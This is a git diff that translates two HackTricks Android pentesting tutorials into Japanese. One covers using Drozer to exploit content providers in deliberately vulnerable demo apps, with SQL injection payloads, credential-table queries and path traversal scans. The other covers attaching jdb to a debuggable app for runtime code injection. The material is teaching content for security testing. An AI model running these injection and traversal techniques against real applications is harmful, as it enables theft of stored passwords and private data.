group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をご覧ください。これは、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 diff --git a/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md b/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md index b768dfd58..48cdc31a9 100644 --- a/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md +++ b/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md @@ -1,101 +1,94 @@ -# Exploiting Content Providers +# コンテンツプロバイダの悪用 -## Exploiting Content Providers +## コンテンツプロバイダの悪用
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-## Intro +## イントロ -A content provider component **supplies data from one application to others** on request. Such requests are handled by the methods of the ContentResolver class. A content provider can use different ways to store its data and the data can be **stored** in a **database**, in **files**, or even over a **network**. - -It has to be declared inside the _Manifest.xml_ file. Example: +コンテンツプロバイダコンポーネントは、リクエストに応じてデータを他のアプリケーションに提供します。このようなリクエストは、ContentResolverクラスのメソッドによって処理されます。コンテンツプロバイダは、データを**データベース**、**ファイル**、または**ネットワーク**上に**保存**するためにさまざまな方法を使用することができます。 +コンテンツプロバイダは_Manifest.xml_ファイル内で宣言する必要があります。例: ```markup - + ``` +この場合、`content://com.mwr.example.sieve.DBContentProvider/Keys` にアクセスするためには `READ_KEYS` の許可が必要です。\ +(また、次のセクションでは保護されていない `/Keys/` にアクセスする予定ですが、開発者が混乱して `/Keys` を保護してしまったためです。) -In this case, it's necessary the permission `READ_KEYS` to access `content://com.mwr.example.sieve.DBContentProvider/Keys`\ -(_Also, notice that in the next section we are going to access `/Keys/` which isn't protected, that's because the developer got confused and protected `/Keys` but declared `/Keys/`_) - -**Maybe you can access private data or exploit some vulnerability (SQL Injection or Path Traversal).** - -## Get info from **exposed content providers** +**おそらく、プライベートデータにアクセスしたり、いくつかの脆弱性(SQLインジェクションやパストラバーサル)を悪用することができるかもしれません。** +## **公開されたコンテンツプロバイダ**から情報を取得する ``` -dz> run app.provider.info -a com.mwr.example.sieve - Package: com.mwr.example.sieve - Authority: com.mwr.example.sieve.DBContentProvider - Read Permission: null - Write Permission: null - Content Provider: com.mwr.example.sieve.DBContentProvider - Multiprocess Allowed: True - Grant Uri Permissions: False - Path Permissions: - Path: /Keys - Type: PATTERN_LITERAL - Read Permission: com.mwr.example.sieve.READ_KEYS - Write Permission: com.mwr.example.sieve.WRITE_KEYS - Authority: com.mwr.example.sieve.FileBackupProvider - Read Permission: null - Write Permission: null - Content Provider: com.mwr.example.sieve.FileBackupProvider - Multiprocess Allowed: True - Grant Uri Permissions: False +dz> run app.provider.info -a com.mwr.example.sieve +Package: com.mwr.example.sieve +Authority: com.mwr.example.sieve.DBContentProvider +Read Permission: null +Write Permission: null +Content Provider: com.mwr.example.sieve.DBContentProvider +Multiprocess Allowed: True +Grant Uri Permissions: False +Path Permissions: +Path: /Keys +Type: PATTERN_LITERAL +Read Permission: com.mwr.example.sieve.READ_KEYS +Write Permission: com.mwr.example.sieve.WRITE_KEYS +Authority: com.mwr.example.sieve.FileBackupProvider +Read Permission: null +Write Permission: null +Content Provider: com.mwr.example.sieve.FileBackupProvider +Multiprocess Allowed: True +Grant Uri Permissions: False ``` +私たちは、DBContentProviderにアクセスするために、コンテンツURIの一部を**再構築**することができます。なぜなら、それらは必ず「_content://_」で始まり、Drozerが_Path: /Keys_内で取得した情報を知っているからです。 -We can **reconstruct** part of the content **URIs** to access the **DBContentProvider**, because we know that they must begin with “_content://_” and the information obtained by Drozer inside Path: _/Keys_. - -Drozer can **guess and try several URIs**: - +Drozerは、複数のURIを**推測して試す**ことができます。 ``` -dz> run scanner.provider.finduris -a com.mwr.example.sieve +dz> run scanner.provider.finduris -a com.mwr.example.sieve Scanning com.mwr.example.sieve... Unable to Query content://com.mwr.example.sieve.DBContentProvider/ -... -Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys +... +Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys Accessible content URIs: content://com.mwr.example.sieve.DBContentProvider/Keys/ content://com.mwr.example.sieve.DBContentProvider/Passwords content://com.mwr.example.sieve.DBContentProvider/Passwords/ ``` - -You should also check the **ContentProvider code** to search for queries: +**ContentProviderのコード**をチェックして、クエリを検索する必要があります: ![](<../../../.gitbook/assets/image (121) (1) (1) (1).png>) -Also, if you can't find full queries you could **check which names are declared by the ContentProvider** on the `onCreate` method: +また、完全なクエリが見つからない場合は、ContentProviderで`onCreate`メソッドで宣言されている名前をチェックできます: ![](<../../../.gitbook/assets/image (186).png>) -The query will be like: `content://name.of.package.class/declared_name` +クエリは次のようになります:`content://name.of.package.class/declared_name` -## **Database-backed Content Providers** +## **データベースをバックエンドとするContent Provider** -Probably most of the Content Providers are used as **interface** for a **database**. Therefore, if you can access it you could be able to **extract, update, insert and delete** information.\ -Check if you can **access sensitive information** or try to change it to **bypass authorisation** mechanisms. +おそらく、ほとんどのContent Providerは**データベース**の**インターフェース**として使用されます。したがって、アクセスできる場合は情報を**抽出、更新、挿入、削除**することができるかもしれません。\ +**機密情報にアクセス**できるかどうかを確認するか、**認証**メカニズムを**バイパス**するために変更してみてください。 -When checking the code of the Content Provider **look** also for **functions** named like: _query, insert, update and delete_: +Content Providerのコードをチェックする際には、_query、insert、update、delete_などの名前の**関数**もチェックしてください: ![](<../../../.gitbook/assets/image (187).png>) ![](<../../../.gitbook/assets/image (254) (1) (1) (1) (1) (1) (1) (1).png>) -Because you will be able to call them - -### Query content +これらの関数を呼び出すことができるからです。 +### コンテンツのクエリ ``` dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical _id: 1 @@ -105,106 +98,139 @@ password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w== - email: incognitoguy50@gmail.com ``` +### コンテンツの挿入 -### Insert content - -Quering the database you will learn the **name of the columns**, then, you could be able to insert data in the DB: +データベースのクエリを実行することで、**列の名前**を知ることができます。その後、DBにデータを挿入することができます。 ![](<../../../.gitbook/assets/image (188) (1).png>) ![](<../../../.gitbook/assets/image (189) (1).png>) -_Note that in insert and update you can use --string to indicate string, --double to indicate a double, --float, --integer, --long, --short, --boolean_ +_挿入と更新では、--stringを使用して文字列を指定し、--doubleを使用して倍精度浮動小数点数を指定し、--float、--integer、--long、--short、--booleanを使用することができます。_ -### Update content +### コンテンツの更新 -Knowing the name of the columns you could also **modify the entries**: +列の名前を知っている場合、エントリを**変更**することもできます。 ![](<../../../.gitbook/assets/image (190).png>) -### Delete content +### コンテンツの削除 ![](<../../../.gitbook/assets/image (191).png>) -### **SQL Injection** +### **SQLインジェクション** -It is simple to test for SQL injection **(SQLite)** by manipulating the **projection** and **selection fields** that are passed to the content provider.\ -When quering the Content Provider there are 2 interesting arguments to search for information: _--selection_ and _--projection_: +コンテンツプロバイダに渡される**プロジェクション**と**選択フィールド**を操作することで、SQLインジェクション**(SQLite)**を簡単にテストすることができます。\ +コンテンツプロバイダをクエリする際には、情報を検索するための2つの興味深い引数があります: _--selection_ と _--projection_: ![](<../../../.gitbook/assets/image (192) (1).png>) -You can try to **abuse** this **parameters** to test for **SQL injections**: - +これらの**パラメータ**を悪用して、SQLインジェクションをテストすることができます。 ``` -dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'" +dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'" unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (') ``` ``` -dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* -FROM SQLITE_MASTER WHERE type='table';--" +dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* +FROM SQLITE_MASTER WHERE type='table';--" | type | name | tbl_name | rootpage | sql | -| table | android_metadata | android_metadata | 3 | CREATE TABLE ... | +| table | android_metadata | android_metadata | 3 | CREATE TABLE ... | | table | Passwords | Passwords | 4 | CREATE TABLE ... | ``` +**Drozerによる自動SQLインジェクションの発見** -**Automatic SQLInjection discovery by Drozer** +Drozer is an Android security assessment framework that allows you to find vulnerabilities in Android applications. One of the techniques it supports is automatic SQL injection discovery. +Drozerは、Androidアプリケーションの脆弱性を見つけるためのAndroidセキュリティ評価フレームワークです。その中でサポートされているテクニックの一つが、自動SQLインジェクションの発見です。 + +SQL injection is a common vulnerability in web applications, but it can also affect Android applications that use SQLite databases. By injecting malicious SQL queries, an attacker can manipulate the database and potentially gain unauthorized access to sensitive information. + +SQLインジェクションは、ウェブアプリケーションにおける一般的な脆弱性ですが、SQLiteデータベースを使用するAndroidアプリケーションにも影響を与えることがあります。攻撃者は、悪意のあるSQLクエリを注入することで、データベースを操作し、機密情報への不正アクセスを行う可能性があります。 + +Drozer's SQL injection module automates the process of finding SQL injection vulnerabilities in Android applications. It does this by analyzing the application's content providers, which are components that allow data to be shared between different applications. By sending specially crafted queries to these content providers, Drozer can detect if the application is vulnerable to SQL injection attacks. + +DrozerのSQLインジェクションモジュールは、AndroidアプリケーションにおけるSQLインジェクションの脆弱性を自動的に見つけるプロセスを実現します。これは、データを異なるアプリケーション間で共有するためのコンポーネントであるコンテンツプロバイダを分析することによって行われます。特別に作成されたクエリをこれらのコンテンツプロバイダに送信することで、DrozerはアプリケーションがSQLインジェクション攻撃に対して脆弱であるかどうかを検出することができます。 + +To use Drozer's SQL injection module, you need to have a rooted Android device and the Drozer agent installed on it. Once you have set up the environment, you can use the `sqlinjection` command in Drozer to automatically scan an application for SQL injection vulnerabilities. + +DrozerのSQLインジェクションモジュールを使用するには、ルート化されたAndroidデバイスとDrozerエージェントのインストールが必要です。環境をセットアップしたら、Drozerの`sqlinjection`コマンドを使用して、SQLインジェクションの脆弱性を自動的にスキャンすることができます。 + +It is important to note that the SQL injection module in Drozer is a powerful tool, but it should only be used on applications that you have permission to test. Using it on unauthorized applications can be illegal and unethical. + +DrozerのSQLインジェクションモジュールは強力なツールですが、テストの許可を得たアプリケーションにのみ使用する必要があります。許可されていないアプリケーションで使用することは違法であり、倫理的にも問題があります。 ``` -dz> run scanner.provider.injection -a com.mwr.example.sieve -Scanning com.mwr.example.sieve... +dz> run scanner.provider.injection -a com.mwr.example.sieve +Scanning com.mwr.example.sieve... Injection in Projection: - content://com.mwr.example.sieve.DBContentProvider/Keys/ - content://com.mwr.example.sieve.DBContentProvider/Passwords - content://com.mwr.example.sieve.DBContentProvider/Passwords/ +content://com.mwr.example.sieve.DBContentProvider/Keys/ +content://com.mwr.example.sieve.DBContentProvider/Passwords +content://com.mwr.example.sieve.DBContentProvider/Passwords/ Injection in Selection: - content://com.mwr.example.sieve.DBContentProvider/Keys/ - content://com.mwr.example.sieve.DBContentProvider/Passwords - content://com.mwr.example.sieve.DBContentProvider/Passwords/ - +content://com.mwr.example.sieve.DBContentProvider/Keys/ +content://com.mwr.example.sieve.DBContentProvider/Passwords +content://com.mwr.example.sieve.DBContentProvider/Passwords/ + dz> run scanner.provider.sqltables -a jakhar.aseem.diva Scanning jakhar.aseem.diva... Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/: - android_metadata - notes - sqlite_sequence +android_metadata +notes +sqlite_sequence ``` +## **ファイルシステムをバックエンドとしたコンテンツプロバイダー** -## **File System-backed Content Providers** - -Content providers could be also used to **access files:** +コンテンツプロバイダーは、ファイルにアクセスするためにも使用できます。 ![](<../../../.gitbook/assets/image (193).png>) -### Read **file** - -You can read files from the Content Provider +### ファイルの読み取り +コンテンツプロバイダーからファイルを読み取ることができます。 ``` -dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts +dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts 127.0.0.1 localhost ``` +### **パストラバーサル** -### **Path Traversal** - -If you can access files, you can try to abuse a Path Traversal (in this case this isn't necessary but you can try to use "_../_" and similar tricks). - +ファイルにアクセスできる場合、パストラバーサルを悪用することができます(この場合、必要ではありませんが、"_../_"や類似のトリックを試すことができます)。 ``` -dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts +dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts 127.0.0.1 localhost ``` +**Drozerによる自動パストラバーサルの発見** -**Automatic Path Traversal discovery by Drozer** +Drozer is an Android security assessment framework that allows us to perform various security tests on Android applications. One of the features of Drozer is the ability to automatically discover Path Traversal vulnerabilities in Android applications. +Drozerは、Androidアプリケーションに対してさまざまなセキュリティテストを実行することができるAndroidセキュリティ評価フレームワークです。Drozerの特徴の一つは、Androidアプリケーション内のパストラバーサル脆弱性を自動的に発見する機能です。 + +Path Traversal vulnerabilities occur when an application allows user-controlled input to be used in file or directory paths without proper validation. This can lead to unauthorized access to sensitive files or directories on the device. + +パストラバーサル脆弱性は、アプリケーションが適切な検証を行わずに、ユーザーが制御可能な入力をファイルやディレクトリのパスに使用する場合に発生します。これにより、デバイス上の機密ファイルやディレクトリへの不正なアクセスが可能になります。 + +To automatically discover Path Traversal vulnerabilities using Drozer, we can use the `path_traversal` module. This module sends various requests with different path traversal payloads to the target application and checks for any unexpected responses. + +Drozerを使用してパストラバーサル脆弱性を自動的に発見するには、`path_traversal`モジュールを使用します。このモジュールは、さまざまなパストラバーサルペイロードを含むリクエストを対象のアプリケーションに送信し、予期しない応答があるかどうかを確認します。 + +To use the `path_traversal` module, we need to first start a Drozer session with the target application. Once the session is established, we can run the `path_traversal` module using the `run` command. + +`path_traversal`モジュールを使用するには、まず対象のアプリケーションでDrozerセッションを開始する必要があります。セッションが確立されたら、`run`コマンドを使用して`path_traversal`モジュールを実行できます。 + +The `path_traversal` module will automatically send requests to the target application with different path traversal payloads. If a Path Traversal vulnerability is found, Drozer will display the details of the vulnerability, including the affected endpoint and the payload that triggered the vulnerability. + +`path_traversal`モジュールは、異なるパストラバーサルペイロードを含むリクエストを対象のアプリケーションに自動的に送信します。パストラバーサル脆弱性が見つかった場合、Drozerは脆弱性の詳細を表示します。これには、影響を受けるエンドポイントと脆弱性を引き起こしたペイロードが含まれます。 + +It is important to note that the `path_traversal` module may generate a large number of requests, so it is recommended to use it with caution and only on applications that you have permission to test. + +`path_traversal`モジュールは、大量のリクエストを生成する場合があるため、注意して使用し、テストの許可を得ているアプリケーションにのみ使用することをおすすめします。 ``` -dz> run scanner.provider.traversal -a com.mwr.example.sieve -Scanning com.mwr.example.sieve... +dz> run scanner.provider.traversal -a com.mwr.example.sieve +Scanning com.mwr.example.sieve... Vulnerable Providers: - content://com.mwr.example.sieve.FileBackupProvider/ - content://com.mwr.example.sieve.FileBackupProvider +content://com.mwr.example.sieve.FileBackupProvider/ +content://com.mwr.example.sieve.FileBackupProvider ``` - -## References +## 参考文献 * [https://www.tutorialspoint.com/android/android\_content\_providers.htm](https://www.tutorialspoint.com/android/android\_content\_providers.htm) * [https://manifestsecurity.com/android-application-security-part-15/](https://manifestsecurity.com/android-application-security-part-15/) @@ -213,10 +239,10 @@ Vulnerable Providers: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手**したいですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** diff --git a/mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md b/mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md index c97186750..24e140ea9 100644 --- a/mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md +++ b/mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md @@ -1,235 +1,175 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。
-**Information copied from** [**https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications/#article**](https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications/#article) +**情報は**[**https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications/#article**](https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications/#article)**からコピーされました** -To make this article more interesting, I have developed a vulnerable application for demonstration purposes, which has a “**button**” and a “**textview**“. +この記事をより興味深くするために、デモンストレーション用に脆弱なアプリケーションを開発しました。このアプリケーションには「**ボタン**」と「**テキストビュー**」があります。 -Fill out the form below to download the code associated with this article. +この記事に関連するコードをダウンロードするには、以下のフォームに入力してください。 -If we launch the application, it shows the message “**Crack Me**“. +アプリケーションを起動すると、「**Crack Me**」というメッセージが表示されます。 ![](https://resources.infosecinstitute.com/wp-content/uploads/052314\_1204\_AndroidHack1.png) -Figure 1 +図1 -If we click the button, it says “**Try Again**“. Now, our goal is to change the message “Try Again” to “Hacked” without modifying the application’s source code. To be precise, we have to change it at runtime. +ボタンをクリックすると、「**Try Again**」と表示されます。今回の目標は、アプリケーションのソースコードを変更せずに、メッセージ「Try Again」を「Hacked」に変更することです。正確には、実行時に変更する必要があります。 -## **Required tools** +## **必要なツール** -* Emulator -* adb – Android Debug Bridge -* jdb – Java Debugger +* エミュレータ +* adb - Android Debug Bridge +* jdb - Java Debugger -In my case, to make the installations easier, I am using Android Tamer since all the above required tools are pre-installed. +私の場合、インストールを簡単にするために、Android Tamerを使用しています。必要なツールはすべて事前にインストールされています。 -## **Topics Involved** +## **関連するトピック** -* Checking for Vulnerability. -* Getting Ready with the Setup. -* Runtime Code Injection. +* 脆弱性のチェック +* セットアップの準備 +* 実行時のコードインジェクション -Let’s begin the game. +ゲームを始めましょう。 -## **Checking for vulnerability** +## **脆弱性のチェック** -In fact, this is the easiest part of the entire article. +実際には、この記事の中で最も簡単な部分です。 -* Decompile the application using APKTOOL to get the AndroidManifest.xml file using the following command. +* 次のコマンドを使用して、APKTOOLを使ってアプリケーションをデコンパイルし、AndroidManifest.xmlファイルを取得します。 apktool d \.apk -* Inspect Androidmanifest.xml file for the following line. +* AndroidManifest.xmlファイルで次の行を確認します。 android\_debuggable=”true” -If you find the above line in the AndroidManifest.xml file, the application is debuggable and it can be exploited. +AndroidManifest.xmlファイルで上記の行を見つけた場合、アプリケーションはデバッグ可能であり、攻撃の対象になります。 -**Note:** We used APKTOOL to see whether the app is debuggable or not. We won’t touch or modify any piece of code as mentioned earlier. +**注意:** アプリがデバッグ可能かどうかを確認するためにAPKTOOLを使用しました。前述のように、コードの一部を触れたり変更したりはしません。 -## **Getting ready with the setup** +## **セットアップの準備** -In this step, we will set up all the required things to inject code in to the app during its execution. As mentioned in the previous article, we will use remote debugging in this article. +このステップでは、アプリケーションの実行中にコードをインジェクションするために必要なすべてのものをセットアップします。前の記事で説明したように、この記事ではリモートデバッグを使用します。 -* Start Your Emulator -* Install the vulnerable application -* Open up your terminal and run the following command to see the Dalvik VM ports listening on the emulator. +* エミュレータを起動します。 +* 脆弱なアプリケーションをインストールします。 +* ターミナルを開き、以下のコマンドを実行してエミュレータ上でリッスンしているDalvik VMポートを確認します。 _**adb jdwp**_ -The above command displays all the ports on which we can connect and debug as shown below. +上記のコマンドは、以下に示すように接続およびデバッグできるすべてのポートを表示します。 ![](https://resources.infosecinstitute.com/wp-content/uploads/052314\_1204\_AndroidHack2.png) -Figure 2 +図2 -**Note:** JDWP stands for Java Debug Wire Protocol. If an application running in its VM is debuggable, it exposes a unique port on which we can connect to it using JDB. This is possible in Dalvik Virtual Machines with the support of JDWP. +**注意:** JDWPはJava Debug Wire Protocolの略です。VMで実行されているアプリケーションがデバッグ可能な場合、JDBを使用して接続できる一意のポートが公開されます。これは、JDWPのサポートによりDalvik仮想マシンで可能です。 -* Now, launch our target application and run the same command to see the listening port associated with our target application. It looks as shown below. +* さて、ターゲットのアプリケーションを起動し、同じコマンドを実行して、ターゲットのアプリケーションに関連付けられたリッスンポートを確認します。以下に示すようになります。 ![](https://resources.infosecinstitute.com/wp-content/uploads/052314\_1204\_AndroidHack3.png) -Figure 2 +図2 -If we observe the difference between Figure 2 and Figure 3, there is one extra port 543 listening after launching the target application in Figure 3. We will attach JDB to the application using this port, since this is our target. +図2と図3の違いに注目すると、図3でターゲットアプリケーションを起動した後に1つの追加ポート543がリッスンされていることがわかります。これが私たちのターゲットなので、このポートを使用してJDBをアプリケーションにアタッチします。 -* Before attaching to the application, we need to port forward using adb since we are using remote debugging. This is shown in Figure 4. +* アプリケーションにアタッチする前に、リモートデバッグを使用しているため、adbを使用してポートフォワードする必要があります。図4に示されています。 ![](https://resources.infosecinstitute.com/wp-content/uploads/052314\_1204\_AndroidHack4.png) -Figure 4 +図4 -* Now, let’s attach JDB to the application as shown in the following figure. +* さて、次の図に示すように、JDBをアプリケーションにアタッチしましょう。 ![](https://resources.infosecinstitute.com/wp-content/uploads/052314\_1204\_AndroidHack5.png) -Figure 5 +図5 -## **Runtime code injection** +## **実行時のコードインジェクション** -In this step, we will actually exploit the vulnerable application by modifying its behavior at runtime. +このステップでは、実際に脆弱なアプリケーションを実行時に変更して攻撃します。 -To modify the application’s behavior at runtime, we need to set up breakpoints and control the flow. But, we don’t know what classes and methods are used in the application. So, let’s use the following commands to find out the classes and methods used in the application. - -To find the classes: “**classes**” - -![](https://resources.infosecinstitute.com/wp-content/uploads/052314\_1204\_AndroidHack6.png) - -Figure 6.1 - -Since I have too many classes listed, I am listing only a few classes. But if you still scroll down, you will see some interesting user defined classes as shown in the figure below. - -![](https://resources.infosecinstitute.com/wp-content/uploads/052314\_1204\_AndroidHack7.png) - -Figure 6.2 - -Now, let us see the methods associated with MainActivity$1 class using the following command. - -“_**methods com.example.debug.MainActivity$1**_” - -This is shown in figure 7. - -![](https://resources.infosecinstitute.com/wp-content/uploads/052314\_1204\_AndroidHack8.png) - -Figure 7 - -Now, let’s set up a breakpoint at onClick method and control the execution of the app as shown in Figure 8. - -_**“stop in com.example.debug.MainActivity$1.onClick(android.view.View)”**_ - -![](https://resources.infosecinstitute.com/wp-content/uploads/052314\_1204\_AndroidHack9.png) - -Figure 8 - -To hit the breakpoint, we will have to manually click the button in the application. Once after clicking the button, the breakpoint will be hit and it appears as shown in Figure 9. - 